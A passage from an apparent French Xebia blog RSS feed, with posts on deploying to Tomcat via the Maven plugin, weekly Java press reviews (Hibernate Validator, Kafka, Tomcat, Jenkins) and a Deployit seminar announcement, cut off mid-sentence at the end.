</pre><p>A noter qu&#8217;il faut aussi avoir installé Tomcat Manager sur l&#8217;instance Tomcat cible puisque le goal utilise le Tomcat Manager de l&#8217;instance et un upload HTTP pour déployer le war sur le serveur dont l&#8217;url sera spécifiée dans le paramètre <em>-Dmaven.tomcat.url</em>. Le login et le password pour Tomcat Manager devront aussi être passés dans la commande :</p><pre class="brush: bash; gutter: true; title: ; notranslate">
mvn tomcat6:deploy -Dtomcat.password=admin -Dtomcat.username=admin -Dmaven.tomcat.url=http://ecX-XX-XX-XXX.eu-west-1.compute.amazonaws.com:8080/manager
</pre><p>Ce goal peut aussi être rattaché à la phase de deploy d&#8217;un profil en particulier (dans l&#8217;exemple ci-dessous, <em>tdeploy</em>) :</p><pre class="brush: bash; gutter: true; title: ; notranslate">
mvn deploy -Ptdeploy
</pre><p>Si vous souhaitez refaire la manipulation chez vous, il vous suffit de cloner le projet, depuis <a
href="https://github.com/xebia-france-training/xebia-petclinic-lite" rel="nofollow">https://github.com/xebia-france-training/xebia-petclinic-lite</a>.</p><p>Puis exécuter le goal précédemment donné pour effectuer la manipulation.</p><h3><a
name="DRAFT-RetourAtelierContinuousDelivery-Partie1-D%C3%A9ploiementavecApacheTomcatMavenPlugin-Conclusions"></a>Conclusions</h3><p>Suite à l&#8217;exercice de déploiement avec le plugin, nous pouvons faire les conclusions suivantes:</p><style>table {border: hidden; border-collapse: collapse; font-size: small;}
tr, th, td {border: dotted 1px #6A205F; padding: 5px;}
th {background: #F0EDF1;}</style><p><strong>Déploiement avec Tomcat Maven Plugin</strong></p><table><tr><th> <img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/add.gif" style="border: 0px solid black" /></th><th> <img
src="http://blog.xebia.fr/wp-content/uploads/2011/11/forbidden.gif" style="border: 0px solid black" /></th></tr><tr><td><ul><li>Simple à mettre en place</li><li>Simple à utiliser</li></ul></td><td><ul><li>Tomcat Manager est déconseillé en production</li><li>Tomcat Manager ne redémarre pas la JVM : risque de fuite de mémoire</li><li>Mode léger pour la production (login/password)</li><li>Il n&#8217;est pas très adapté au cluster :<ul><li>impossibilité de déployer sur plusieurs<li>instances en parallèle</ul></li></ul></td></tr></table><p>Si on compare le déploiement via ce plugin avec les méthodes que nous présenterons dans nos prochains billets (le plugin SSH pour Jenkins, Rundeck ou Deployit), vous verrez qu&#8217;il s&#8217;éloigne quelque peu des méthodes habituelles d&#8217;installation d&#8217;un livrable en production. Une mise en production se résume rarement à simplement déployer un war sur un seul serveur Tomcat via HTTP. En effet, l&#8217;application pourrait être clusterisée, il pourrait y avoir besoin de copier des fichiers de configuration supplémentaires, ou encore de passer des scripts SQL. Comme vous le verrez après, les autres alternatives se basent sur un script shell qui laisse la porte ouverte à d&#8217;autres opérations.</p><p>Dans nos prochains billets, nous vous présenterons le déploiement via le plugin SSH pour Jenkins, Rundeck ainsi qu&#8217;un dernier article dédié à la création automatique de l&#8217;infrastructure utilisée dans ce workshop.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/25/continuous-delivery-deploiement-apache-tomcat-maven-plugin/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/</link> <comments>http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/#comments</comments> <pubDate>Tue, 21 Jun 2011 07:47:34 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache HTTP Client]]></category> <category><![CDATA[Hibernate Validator]]></category> <category><![CDATA[Kafka]]></category> <category><![CDATA[logs]]></category> <category><![CDATA[nio / io]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=8061</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII Valider vos méthodes avec Hibernate Validator 4.2.0 Distribuer vos logs avec Kafka 0.6 Une implémentation NIO du connecteur AJP de Tomcat Evénements de notre communauté en France et à l&#8217;étranger Un déplacement plein d&#8217;enseignements Actualité éditeurs / SSII Valider vos [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/#ValidervosmthodesavecHibernate">Valider vos méthodes avec Hibernate Validator 4.2.0</a></li><li><a
href="http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/#DistribuervoslogsavecKafka">Distribuer vos logs avec Kafka 0.6</a></li><li><a
href="http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/#UneimplmentationNIOduconnecteu">Une implémentation NIO du connecteur AJP de Tomcat</a></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/#Undplacementpleindenseignement">Un déplacement plein d&#8217;enseignements</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="ValidervosmthodesavecHibernate"></a>Valider vos méthodes avec Hibernate Validator 4.2.0</h4><p>Pour rappel, comme nous l’avions déjà évoqué <a
href="http://blog.xebia.fr/2010/07/15/bean-validation/" title="ici" >ici</a>, Hibernate Validator permet de faire de la validation de bean suivant la <a
href="http://jcp.org/en/jsr/detail?id=303" title="JSR-303 - Bean Validation" >JSR-303 &#8211; Bean Validation</a>. Cette JSR propose de standardiser les mécanismes de validation qu’un développeur est souvent amené à faire à la main en utilisant entre autre des annotations ou alternativement des fichiers xml. Cette normalisation a l’avantage d’uniformiser au sein d’une même application les couches de présentation (des frameworks de présentation comme <a
href="http://blog.zenika.com/index.php?post/2010/02/24/Wicket-JSR-303-Validators" title="Wicket" >Wicket</a> par exemple propose leur solution), les couches de service ou de persistence avec les mêmes outils.</p><p>A titre d’exemple:</p><pre class="brush: java; title: ; notranslate">
public Person {
	@NotNull
	private String name;
	@Past
	private Date birthday;
}
</pre><p>où <code>@Past</code> contraint que la date soit dans le passé.</p><p>Hibernate Validator est la version d’implémentation de cette JSR et contrairement à ce qu’on pourrait croire n’impose pas d’utiliser Hibernate. D’ailleurs JBoss/Hibernate propose un <a
href="http://docs.jboss.org/hibernate/stable/beanvalidation/tck/reference/html_single/" title="TCK" >TCK</a> pour les développeurs désireux de valider leur validateur.</p><p>La grande nouveauté de cette version est la possibilité de faire de la validation au niveau de la méthode:</p><pre class="brush: java; title: ; notranslate">
public @NotNull String saveItem(@Valid @NotNull Item item, @Max(23) BigDecimal price)
</pre><p>Comme on peut remarquer, il est à présent possible de valider les paramètres ainsi que la valeur de retour d’une méthode. Pour valider cette méthode il faut ensuite créer un validateur:</p><pre class="brush: java; title: ; notranslate">
MethodValidator validator = Validation.byProvider( HibernateValidator.class )
    .configure()
    .buildValidatorFactory()
    .getValidator()
    .unwrap( MethodValidator.class );
</pre><p>Et ensuite utiliser une des méthodes du validateur:</p><pre class="brush: java; title: ; notranslate">
public interface MethodValidator {
    public &lt;T&gt; Set&lt;MethodConstraintViolation&lt;T&gt;&gt; validateParameter(T object, Method method, Object parameterValue, int parameterIndex, Class&lt;?&gt;... groups);
    public &lt;T&gt; Set&lt;MethodConstraintViolation&lt;T&gt;&gt; validateParameters(T object, Method method, Object[] parameterValues, Class&lt;?&gt;... groups);
    public &lt;T&gt; Set&lt;MethodConstraintViolation&lt;T&gt;&gt; validateReturnValue(T object, Method method, Object returnValue, Class&lt;?&gt;... groups);
}
</pre><p>On peut trouver le mécanisme un peu rébarbatif si on doit répéter l’opération sur chaque méthode et pour chaque paramètre mais, comme le suggère ce <a
href="http://in.relation.to/18074.lace" title="post" >post</a>, on peut facilement l’associer à un aspect pour automatiser ces validations.</p><p>Parmi les autres nouveautés on peut également à présent combiner les contraintes autrement que par conjonction et un nouveau mécanisme de templating des exceptions a été ajouté. Les détails de la release se trouvent <a
href="http://in.relation.to/18074.lace" title="ici" >ici</a>, <a
href="http://in.relation.to/18632.lace" title="ici" >ici</a> et <a
href="http://opensource.atlassian.com/projects/hibernate/secure/ReleaseNote.jspa?projectId=10060&#038;version=11203" title="l" >là</a></p><h4><a
name="DistribuervoslogsavecKafka"></a>Distribuer vos logs avec Kafka 0.6</h4><p>Comme nous vous l’avions <a
href="http://blog.xebia.fr/2010/12/07/revue-de-presse-xebia-186/#Kafkalebrokerdemessagesdistrib" title="annoncé" >annoncé</a> il y a un peu plus de 6 mois dans la revue de presse, LinkedIn a rendu open source son broker de messages atypique Kafka. A l’occasion de la sortie de la <a
href="http://engineering.linkedin.com/27/project-kafka-distributed-publish-subscribe-messaging-system-reaches-v06" title="version 06" >version 0.6</a> Neha Narkhede, ingénieur chez LinkedIn, nous rappelle les cas d’utilisation principaux de Kafka:</p><ul><li>Collecter des logs pour les insérer dans Hadoop ou dans un <a
href="http://fr.wikipedia.org/wiki/Entrep%C3%B4t_de_donn%C3%A9es" title="data warehouse" >data warehouse</a> pour une analyse offline.</li><li>Nourrir directement des applications en écoute d’alertes en temps réel (pour la sécurité par exemple).</li><li>Déployer les données recueillies d’Hadoop vers des applications.</li></ul><p>Ces cas d’utilisation ont grandement guidé l’architecture de Kafka qui accentue beaucoup plus la rapidité à envoyer les messages, la garantie de persistence et le <em>clustering</em> au détriment d’une plus grande responsabilisation des consommateurs de messages qui ont en charge l’<em>acknowledgement</em> et la découverte de la topologie des <em>brokers</em>.</p><p>Parmi les nouveautés de cette nouvelle version on notera:</p><ul><li>Ajout d’un <em>load balancing</em> automatique pour les producteurs de messages. En masquant la topologie du <em>cluster</em>, Kafka peut s’appuyer sur un <em>load balancer hardware</em> et utilise <a
href="http://zookeeper.apache.org/" title="zookeeper" >zookeeper</a> pour la partie logique.</li><li>Possibilité d’envoyer de façon asynchrone les messages.</li><li>Possibilité d’enrichir sémantiquement les partitions afin par exemple de rapprocher les données liées au niveau du métier</li></ul><p>Un très bon <a
href="http://research.microsoft.com/en-us/um/people/srikanth/netdb11/netdb11papers/netdb11-final12.pdf" title="article" >article</a> des ingénieurs de LinkedIn décrit très bien l’architecture de Kafka dans le cas de la génération de logs et qui contient des comparatifs, à prendre avec beaucoup de précaution, avec ActiveMQ et RabbitMQ. Je vous laisse deviner le grand vainqueur.</p><h4><a
name="UneimplmentationNIOduconnecteu"></a>Une implémentation NIO du connecteur AJP de Tomcat</h4><p>Cela aurait pu passer inaperçu car cette fonctionnalité a été ajoutée dans la version mineure de Tomcat 7.0.16, le connecteur AJP implémente à présent l’API New I/O pour gérer ses pools de threads. Un <a
href="http://www.tomcatexpert.com/blog/2011/06/17/nio-implementation-ajp-connector" title="article" >article</a> très pédagogique de Mark Thomas, ingénieur chez SpringSource, met en lumière cette nouvelle fonctionnalité.</p><p>Jusqu’à maintenant à un thread sur un serveur Apache HTTPD, par exemple, devait correspondre un thread du côté des serveurs Tomcat. Donc pour 1000 threads sur deux serveurs HTTPD devaient correspondre 2000 threads sur chaque serveur Tomcat branché derrière. On comprend vite la complexité et les limitations engendrées.</p><p>Cette nouvelle implémentation permet de gérer plus intelligement ces threads côté Tomcat, à l’aide de quelques threads (l’article recommande pas plus de 10) on peut maintenir un ensemble de connections sans problème.</p><p>Un grand pas pour les utilisateurs de ce connecteur, sans oublier qu’il existe également le mod_proxy_http, la comparaison entre les deux étant détaillés dans notre article <a
href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/" title="ici" >ici</a>.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="Undplacementpleindenseignement"></a>Un déplacement plein d&#8217;enseignements</h4><p>Cette RDP est l&#8217;occasion de faire un petit bilan sur le court déplacement, début juin, de 3 de nos Xebians Parisiens chez nos collègues Néerlandais. L&#8217;objectif de ce voyage était triple:</p><ul><li>Favoriser les échanges d&#8217;expériences sur la transition vers l&#8217;agilité</li><li>Passer en revue le modèle de pépinière interne</li><li>Renforcer les liens entre entités</li></ul><p>Jean-Laurent et Gilles ont apporté leur contribution au <a
href="http://www.xebia.com/share-knowledge" title="XKE Néerlandais" >XKE Néerlandais</a> en présentant chacun un sujet aux membres de la business unit <a
href="http://www.xebia.com/agile-consultancy" title="Agile Consulting and Training" >Agile Consulting and Training</a> (ACT), l&#8217;un sur l&#8217;évolution d&#8217;une équipe agile dans la durée, l&#8217;autre sur la transformation agile à grande échelle. Pendant ce temps Aurélien a longuement discuté des projets pépinières chez Xebia NL et du modèle de contribution associé. La journée s&#8217;est terminée par une présentation de l&#8217;ensemble des missions en cours au sein de ACT portant sur la transition des organisations vers l&#8217;agilité. Les références de nos voisins sont impressionnantes et nous repartons avec des nouveautés plein la tête. </p><p>Si nous ne devions retenir qu&#8217;une chose de ce voyage ce serait sans aucun doute la découverte du livre <a
href="http://www.businessmodelgeneration.com/book" title="Business Model Generation" >Business Model Generation</a> qui présente un <a
href="http://www.businessmodelgeneration.com/canvas" title="canevas simple" >canevas simple</a> et puissant pour discuter et formaliser un business model. Un outil qui nous paraît indispensable pour le Product Owner et son travail de priorisation et valorisation de ses stories.</p><p>Nous avons également découvert des obstacles à l&#8217;agilité que nous connaissons peu en France, certaines entreprises pratiquent par exemple la politique de bureau libre, ce qui empêche fortement la colocalisation. Nous repartons plus riches de nos différences culturelles quant à la mise en application de SCRUM et des pratiques agiles. Pour un voyage dans la patrie de Gert Hofstede, le fondateur de la <a
href="http://en.wikipedia.org/wiki/Hofstede%27s_cultural_dimensions_theory" title="thorie des dimensions culturelles" >théorie des dimensions culturelles</a>, ce n&#8217;est peut être pas si étonnant.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/06/21/revue-de-presse-xebia-194/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Séminaire Deployit: Karavel automatise ses déploiements Tomcat</title><link>http://blog.xebia.fr/2011/04/27/seminaire-deployit-karavel-automatise-ses-deploiements-tomcat/</link> <comments>http://blog.xebia.fr/2011/04/27/seminaire-deployit-karavel-automatise-ses-deploiements-tomcat/#comments</comments> <pubDate>Wed, 27 Apr 2011 14:06:51 +0000</pubDate> <dc:creator>Benoit Moussaud</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Déploiement]]></category> <category><![CDATA[DeployIt]]></category> <category><![CDATA[Séminaire]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7555</guid> <description><![CDATA[De nombreuses sociétés font aujourd&#8217;hui confiance aux technologies Java EE pour leurs applications critiques d&#8217;entreprise, leurs sites web et / ou leur intranet. Pourtant, nombre d&#8217;entre elles se retrouvent aujourd&#8217;hui confrontées à un obstacle de taille : comment déployer plus rapidement et de manière plus industrielle des applications toujours complexes, livrées de plus en plus [...]]]></description> <content:encoded><![CDATA[<p>De nombreuses sociétés font aujourd&#8217;hui confiance aux technologies Java EE pour leurs applications critiques d&#8217;entreprise, leurs sites web et / ou leur intranet. Pourtant, nombre d&#8217;entre elles se retrouvent aujourd&#8217;hui confrontées à un obstacle de taille : comment déployer plus rapidement et de manière plus industrielle des applications toujours complexes, livrées de plus en plus fréquemment sur des socles middlewares différents et/ou sur des environnements de plus en plus nombreux ?</p><p>Les tâches de déploiement et de configuration des applications deviennent ainsi bien souvent un goulet d&#8217;étranglement quand elles ne sont pas un frein à l&#8217;activité.<br
/> <strong>Deployit</strong>, de la société <strong>XebiaLabs</strong>, a été conçu en collaboration avec KLM/Air France pour adresser cette problématique. Il est aujourd&#8217;hui mis en oeuvre avec succès par de nombreuses sociétés dans des secteurs très variés.</p><p>Les bénéfices de Deployit</p><ul><li>Réduire jusqu’à 95% des erreurs de déploiement et jusqu&#8217;à 50% de vos coûts de déploiement classique</li><li>Réduire les temps d&#8217;attente des équipes via des déploiements en self-service et continus</li><li>Standardiser les procédures de déploiement entre différents environnements</li><li>Fluidifier les relations entre départements études, intégration/recette et production</li><li>Augmenter contrôle et visibilité sur votre processus de déploiement applicatif</li><li>Accélérer votre time-to-market</ul><p>Programme du séminaire : le<strong> 29 avril de 9h45 à 11h45, 156 bd Haussmann 75008 Paris</strong></p><ul><li>9h45 : accueil</li><li>10h : présentation des enjeux du déploiement applicatif et de la solution Deployit</li><li>10h30 : démonstration produit</li><li>11h : retour d&#8217;expérience client Karavel/Promovacances</li></ul><p><strong>Public cible</strong> : Directeur Informatique, Responsable des Développements / Etudes, Responsable Intégration / QA / Tests, Responsable Production / Exploitation, Responsable Qualité, Architecte, Chef de projet</p><p><strong>Inscription</strong>: <a
href="http://www.xebialabs.com/seminaire-deploiement-automatique">http://www.xebialabs.com/seminaire-deploiement-automatique</a></p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/04/27/seminaire-deployit-karavel-automatise-ses-deploiements-tomcat/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de presse</title><link>http://blog.xebia.fr/2011/01/18/revue-de-presse-194/</link> <comments>http://blog.xebia.fr/2011/01/18/revue-de-presse-194/#comments</comments> <pubDate>Tue, 18 Jan 2011 06:53:49 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Non classé]]></category> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Android]]></category> <category><![CDATA[Hudson]]></category> <category><![CDATA[Jenkins]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=6673</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Hudson devient Jenkins Tomcat 6.0.30 et Tomcat 7 devient stable Le coin de la technique Hors-série Linux Magazine &#171;&#160;Développement Android&#160;&#187; Actualité éditeurs / SSII Hudson devient Jenkins La nouvelle n’a sans doute pas échappé aux plus avertis d’entre nous, Hudson, [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/01/18/revue-de-presse-194/#HudsondevientJenkins">Hudson devient Jenkins</a></li><li><a
href="http://blog.xebia.fr/2011/01/18/revue-de-presse-194/#TomcatetTomcatdevientstable">Tomcat 6.0.30 et Tomcat 7 devient stable</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/01/18/revue-de-presse-194/#HorssrieLinuxMagazineDveloppem">Hors-série Linux Magazine &laquo;&nbsp;Développement Android&nbsp;&raquo;</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="HudsondevientJenkins"></a>Hudson devient Jenkins</h4><p>La <a
href="http://kohsuke.org/bye-bye-hudson-hello-jenkins/" title="nouvelle" >nouvelle</a> n’a sans doute pas échappé aux plus avertis d’entre nous, <strong>Hudson</strong>, le célèbre serveur d’intégration continue, va être renommé en <strong>Jenkins</strong>. Ce changement est motivé par la volonté de se protéger contre d’éventuels blocages de la part d’Oracle sur les développements du projet. En effet Hudson a été créé par Kohsuke Kawaguchi, alors qu’il travaillait chez Sun, depuis racheté par Oracle qui juridiquement possède la <em>marque</em> Hudson. Ce dernier point donne la possibilité à Oracle de bloquer ce projet sous ce nom et le renommage permettra de se défaire complètement de cette contrainte.</p><p><a
href="http://www.hudson-labs.org/content/hudsons-future" title="Andrew Bayer" >Andrew Bayer</a> décrit les différentes étapes qui vont suivre cette annonce:</p><ul><li>déposé le nom, créer les comptes twitter&#8230;</li><li>migrer les infrastructures du projet en-dehors de serveurs Oracle et renommage des différents composants.</li><li>Andrew Bayer, Kohsuke Kawaguchi et peut-être Winston Prakash, qui a repris le projet chez Oracle, formeront une gouvernance par intérim, le temps d’organiser des élections.</li></ul><p>Tout en se détachant de l’emprise d’Oracle, il y a la volonté que l’entreprise reste actif dans le projet. Cet épisode souligne malgré tout la méfiance de la communauté envers Oracle.</p><h4><a
name="TomcatetTomcatdevientstable"></a>Tomcat 6.0.30 et Tomcat 7 devient stable</h4><p>Après plusieurs versions correctives de la bêta, Mark Thomas a officialisé la <a
href="http://www.tomcatexpert.com/blog/2011/01/14/apache-tomcat-706-released-first-stable-build" title="version 7.0.6" >version 7.0.6</a> du célèbre serveur Java, comme la première version stable de Tomcat 7. Avec cette annonce <a
href="http://tomcat.apache.org/" title="Tomcat" >Tomcat</a> rejoint Glassfish 3 dans le cercle fermé des implémentations stables de servlet 3.0.  Parmi les nouveautés de cette version, on notera, la présence d’une nouvelle distribution binaire spécialisée pour embarquer le serveur dans d’autres applications. Sans doute une façon de répondre à la forte adoption de Jetty dans ce domaine. Cette version corrige surtout les derniers bugs majeurs comme une importante fuite mémoire dans le connecteur NIO. Elle contient donc une longue liste de corrections accompagnées de menues améliorations (<a
href="http://tomcat.apache.org/tomcat-7.0-doc/changelog.html" title="Voir le changelog" >Voir le changelog</a>).<br
/> Notez enfin, la sortie d’une version corrective de <a
href="http://www.tomcatexpert.com/blog/2011/01/13/apache-tomcat-6030-released" title="Tomcat 6" >Tomcat 6</a> corrigeant là encore un grand nombre de bugs(<a
href="http://tomcat.apache.org/tomcat-6.0-doc/changelog.html" title="Voir le changelog" >Voir le changelog</a>).</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="HorssrieLinuxMagazineDveloppem"></a>Hors-série Linux Magazine &laquo;&nbsp;Développement Android&nbsp;&raquo;</h4><p>Dans revue de presse, il y a &laquo;&nbsp;presse&nbsp;&raquo;. Et il est vrai que nous ne parlons pas souvent de la presse classique. Vous savez, celle faite de papier plutôt que de HTML. Celle à qui il manque les hyperliens mais qui en revanche ne tombe jamais à court de batterie. Celle qui sort, début janvier, un magazine labellisé &laquo;&nbsp;février/mars&nbsp;&raquo;&#8230; <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> Et c&#8217;est justement le cas du <a
href="http://www.gnulinuxmag.com/index.php/2011/01/07" title="Linux Magazine Hors-série spécial développement Android" >Linux Magazine Hors-série spécial développement Android</a> sorti récemment. Mis au courant <a
href="http://www.frandroid.com/55775/gnulinux-magazine-hors-serie-entierement-consacre-au-developpement-android" title="par FrAndroid" >par FrAndroid</a>, nous nous sommes rués en kiosque.<br
/> Et c&#8217;est du costaud ce hors-série! Sur 80 pages, <a
href="http://www.prados.fr/" title="Philippe Prados" >Philippe Prados</a> nous fait découvrir comment réaliser une application Android qui s&#8217;intègre dans le système de contact et se synchronise sur un serveur LDAP distant. Pour tout vous dire, il y a du travail.<br
/> Vous aurez l&#8217;occasion de revenir sur les notions spécifiques d&#8217;Android que sont les termes d&#8217;activités, de Content Provider, d&#8217;Intent&#8230; Les <a
href="http://fr.wikipedia.org/wiki/Communication_inter-processus" title="IPC" >IPC</a>, souvent peu abordés sur Android sont aussi expliqués. Ainsi, <a
href="http://android.git.kernel.org/?p=platform/packages/apps/Contacts.git" title="lapplication contacts" >l&#8217;application contacts</a> classique d&#8217;Android, se trouvera <em>augmentée</em> d&#8217;un mécanisme d&#8217;aller-retours avec l&#8217;application présentée qui fournira le contenu LDAP, lui-même obtenu depuis un fournisseur de contenu. L&#8217;intégration à la recherche globale Android est aussi de la partie, ainsi qu&#8217;un <em>wizard</em> de création de compte pour le fournisseur d&#8217;authentification nécessaire à la synchronisation des contacts avec LDAP.<br
/> Et encore, tout ceci n&#8217;est qu&#8217;un petit aperçu de ce qui vous attend dans le magazine. L&#8217;auteur a essayé un maximum de s&#8217;intégrer dans le système, et il semble que bien souvent, c&#8217;est grâce à la disponibilité des sources des applications standards qu&#8217;il a pu comprendre certains mécanismes peu documentés.<br
/> Un petit grief tout de même: la lecture est assez ardue et il faut attendre la toute fin (page 73) pour savoir où se procurer les sources&#8230; Et se rassurer en prenant connaissance de leur disponibilité qui n&#8217;est pas clairement annoncée dès le début. Bref, une lecture inestimable pour qui veut produire plus qu&#8217;une banale application et s&#8217;intégrer complètement au système de Google.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/01/18/revue-de-presse-194/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/</link> <comments>http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#comments</comments> <pubDate>Tue, 06 Jul 2010 05:14:27 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[EDI]]></category> <category><![CDATA[GAE]]></category> <category><![CDATA[Google App Engine]]></category> <category><![CDATA[Hibernate Validator]]></category> <category><![CDATA[Paris JUG]]></category> <category><![CDATA[Smook]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4986</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Une étude américaine prédit une pénurie d&#8217;informaticiens pour bientôt. SOA La future version 1.4 de Smooks supportera les messages UN/EDIFACT Serveurs d&#8217;applications / Cloud Computing Tomcat 7 sort en BETA Google App Engine 1.3.5 et toolkit Paypal Le coin de [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#Unetudeamricaineprditunepnurie">Une étude américaine prédit une pénurie d&#8217;informaticiens pour bientôt.</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#LafutureversiondeSmookssupport">La future version 1.4 de Smooks supportera les messages UN/EDIFACT</a></li></ul><p><strong>Serveurs d&#8217;applications / Cloud Computing</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#TomcatsortenBETA">Tomcat 7 sort en BETA</a></li><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#GoogleAppEngineetdutoolkitPayp">Google App Engine 1.3.5 et toolkit Paypal</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#HibernateValidator">Hibernate Validator 4.1.0</a></li></ul><p><strong>Evènements  de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/06/revue-de-presse-xebia-166/#LeParisJUGetlAvantJUG">Le ParisJUG et l&#8217;AvantJUG</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="Unetudeamricaineprditunepnurie"></a>Une étude américaine prédit une pénurie d&#8217;informaticiens pour bientôt.</h4><p>C&#8217;est à la fois une bonne et une mauvaise nouvelle qui est sortie d&#8217;un étude américaine sur le marché de l&#8217;informatique, <a
href="http://www.infoq.com/news/2010/06/career-labor-statistics" title="rapporte par infoQ" >rapportée par infoQ</a> : la bonne nouvelle, elle est pour les techniciens que nous sommes, car nous devrions avoir du travail pendant un long moment. La mauvaise nouvelle est pour nos employeurs, qui vont avoir de plus en plus de mal à recruter.<br
/> Les prévisions qui ressortent de cette étude sont les suivantes :</p><ul><li>la croissance du secteur informatique devrait être quatre fois supérieure à celle des autres métiers de l&#8217;ingénierie dans les années à venir.</li><li>aux Etats Unis, il y a deux fois plus d&#8217;offres que de diplômés chaque année. C&#8217;est le seul métier scientifique pour laquelle l&#8217;offre est supérieure à la demande.</li></ul><p>En parallèle de l&#8217;augmentation des besoins, il semble que les étudiants percoivent les métiers de l&#8217;informatique de manière erronée :</p><ul><li><em>Tous les postes motivant sont exportés en Inde</em>. Le mouvement global (aussi bien aux Etats Unis qu&#8217;en Europe)  est plutôt à un retour des activités intéressantes en local, et une exportation des taches à faible valeurs ajoutées.</li><li><em>C&#8217;est un métier d&#8217;homme</em>. Ce fait avéré est en train de changer, en partie grâce à certaines initiatives locales (voir ci-dessous). Même si la balance est loin d&#8217;être équilibrée, il semblerait que de plus en plus de demoiselles choisissent les carrières techniques. C&#8217;est à nos communautés de les convaincre de les poursuivre !</li><li><em>L&#8217;informatique, c&#8217;est programmer, et programmer c&#8217;est rester toute la journée devant un écran</em>. Tous les consultants vous le diront, même si ils ne pratiquent pas l&#8217;XP, l&#8217;informatique est une activité sociale <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></li><li><em>C&#8217;est trop difficile</em>. S&#8217;il est sûr que comprendre les algorithmes de GC en détail relève parfois de la mission impossible, tous les chefs de projets ou scrum master vous le diront : travailler dans l&#8217;informatique, c&#8217;est avant tout gérer son stress, gérer ses connaissances (et les augmenter au fur à et mesure) et se montrer inventif.</li></ul><p>Il existe ainsi un certain nombre de mythes, que <a
